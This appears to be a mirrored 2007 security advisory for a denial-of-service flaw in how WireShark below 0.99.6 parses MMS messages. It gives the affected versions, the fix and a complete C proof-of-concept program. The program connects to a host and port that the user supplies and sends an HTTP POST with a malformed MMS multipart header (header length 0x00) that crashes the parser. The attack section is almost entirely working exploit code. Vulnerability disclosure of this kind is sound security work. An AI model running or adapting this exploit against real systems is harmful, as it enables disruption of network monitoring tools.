Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:17796
HistoryAug 15, 2007 - 12:00 a.m.

WireShark MMS Remote Denial of Service vulnerability

2007-08-1500:00:00
vulners.com
11

Title

WireShark MMS Remote Denial of Service vulnerability

Date

13 August 2007

Affected Software

WireShark < 0.99.6
Maybe all version of Ethereal

Overview

MMS message parse flaw in WireShark implementation may allow a remote attacker to crash it causing denial of service.

Vulnerability Description

MMS means "Multimedia Messaging Service". When WireShark parsing a MMS message which Content-Type is application/vnd.wap.multipart.mixed, and the header len

of a multipart content equels to 0x00, then it will be crash.

Solution

Update to 0.99.6

PoC

//main.cpp
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

char *http =
"POST / HTTP/1.0\r\n"
"Content-Type: application/vnd.wap.mms-message\r\n";

char *hoststr = "Host: %s:%d\r\n";
char *contentlenstr = "Content-Length: %d\r\n\r\n";

unsigned char mms[] =
{
0x8c,0x80,//X-Mms-Message-Type: m-send-req(0x80)
0x98,0x7a,0x77,0x65,0x6c,0x6c,0x00,//X-Mms-Transaction-ID: zwell
0x8d,0x92,//X-Mms-MMS-Version: 1.2
0x97,0x31,0x33,0x35,0x31,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x00,//To: 13510000000
0x84,0xa3,//Content-Type: application/vnd.wap.multipart.mixed
//////////////////////////////////////////////////
0x01,//multipart,count
0x0f,//HeadersLen
0x05,//DataLen
0x00,//headlen <<<=== If this is 0x00, then wireshark will be crash. The real value is the follow three lines bytes which is 0x0e
///
0x83,0x85,//Utf-8
0x7a,0x77,0x65,0x6c,0x6c,0x2e,0x74,0x78,0x74,0x00,//Name: zwell.txt
0x81,0xea,//Charset: utf-8
///
0x7a,0x77,0x65,0x6c,0x6c,//zwell
};

SOCKET connect_to_host(char *h, int p)
{
SOCKET sock;
struct hostent *host;
struct sockaddr_in saddr;

    if&#40;&#40;host=gethostbyname&#40;h&#41;&#41;==NULL&#41; 
    {
            printf&#40;&quot;resolv host &#37;s error&#92;n&quot;, h&#41;;
            exit&#40;-1&#41;;
    }

    if&#40;&#40;sock=socket&#40;AF_INET,SOCK_STREAM,IPPROTO_TCP&#41;&#41;==-1&#41; 
    {
            printf&#40;&quot;create socket error&#92;n&quot;&#41;;
            exit&#40;-1&#41;;
    }
    memset&#40;&#40;void *&#41;&amp;saddr, 0, sizeof&#40;struct sockaddr_in&#41;&#41;;
    saddr.sin_family=AF_INET;
    saddr.sin_addr.s_addr=*&#40;&#40;unsigned long *&#41;host-&gt;h_addr_list[0]&#41;;
    saddr.sin_port=htons&#40;p&#41;;
    if&#40;connect&#40;sock, &#40;struct sockaddr *&#41;&amp;saddr, sizeof&#40;saddr&#41;&#41;&lt;0&#41; 
    {
            printf&#40;&quot;connect to host &#37;s on port &#37;d error&#92;n&quot;, h, p&#41;;
            exit&#40;-1&#41;;
    }

    return sock;

}

void socket_init()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2,0), &wsaData);
}

int main(int argc, char **argv)
{
SOCKET s;
char sendbuf[1024];
int len = 0;

    printf&#40;&quot;WireShark&lt;0.99.6 MMS protocol DOS PoC&#92;nCoded By ZwelL&#92;nhttp://www.nosec.org&#92;n&quot;&#41;;
    if&#40;argc != 3&#41;
    {
            printf&#40;&quot;usage : &#37;s &lt;host&gt; &lt;port&gt;&#92;n&quot;, argv[0]&#41;;
            exit&#40;-1&#41;;
    }
    socket_init&#40;&#41;;
    s = connect_to_host&#40;argv[1], atoi&#40;argv[2]&#41;&#41;;
    
    strcpy&#40;&amp;sendbuf[len], http&#41;;
    len += strlen&#40;http&#41;;

    sprintf&#40;&amp;sendbuf[len], hoststr, argv[1], atoi&#40;argv[2]&#41;&#41;;
    len = strlen&#40;sendbuf&#41;;

    sprintf&#40;&amp;sendbuf[len], contentlenstr, sizeof&#40;mms&#41;&#41;;
    len = strlen&#40;sendbuf&#41;;

    memcpy&#40;&amp;sendbuf[len], mms, sizeof&#40;mms&#41;&#41;;
    len += sizeof&#40;mms&#41;;

    send&#40;s, sendbuf, len, 0&#41;;

    printf&#40;&quot;completed!&#92;n&quot;&#41;;

    return 0;

}